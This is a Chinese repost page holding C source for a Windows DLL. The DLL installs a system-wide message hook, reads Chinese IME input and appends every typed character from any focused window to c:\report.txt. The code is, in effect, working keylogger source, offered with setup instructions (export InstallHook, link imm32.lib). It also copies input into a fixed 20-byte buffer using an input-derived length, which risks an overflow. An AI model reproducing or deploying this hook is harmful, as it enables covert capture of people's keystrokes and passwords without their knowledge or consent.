注册
登录
| 关键词： lpstr ImmGetCompositio 句柄 HOOK PMSG HIMC break LPARAM NULL case |
//HOOK IME TO GET CHINESE INPUT CHAR//MAKE BY ZWELL//2004.12.9//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^#include "windows.h"#include "imm.h"#include "stdio.h"#define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄HINSTANCE g_hHinstance = NULL; //程序句柄 LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam){ LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);PMSG pmsg = (PMSG)lParam;if (nCode == HC_ACTION){ switch (pmsg->message){case WM_IME_COMPOSITION:{HIMC hIMC;HWND hWnd=pmsg->hwnd;DWORD dwSize;char ch;char lpstr[20];if(pmsg->lParam & GCS_RESULTSTR){//先获取当前正在输入的窗口的输入法句柄hIMC = ImmGetContext(hWnd);if (!hIMC){MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);} // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小,// 考虑到UNICODEdwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...MessageBox(NULL, lpstr, lpstr, MB_OK); ImmReleaseContext(hWnd, hIMC);}}break;case WM_CHAR: //截获发向焦点窗口的键盘消息{FILE* f1;f1=fopen("c:\\report.txt","a+");ch=(char)(pmsg->wParam);fwrite(&ch,1,1,f1);fclose(f1); }break;}} return(lResult);} HOOK_API BOOL InstallHook(){g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);return TRUE;} HOOK_API BOOL UnHook(){ return UnhookWindowsHookEx(g_hHook);} BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:g_hHinstance=hModule;break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:UnHook();break;}return TRUE;} /////////////////////////////////////////hool.def模块://///////////////////////////////////////LIBRARY HOOK EXPORTSInstallHookUnHook |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
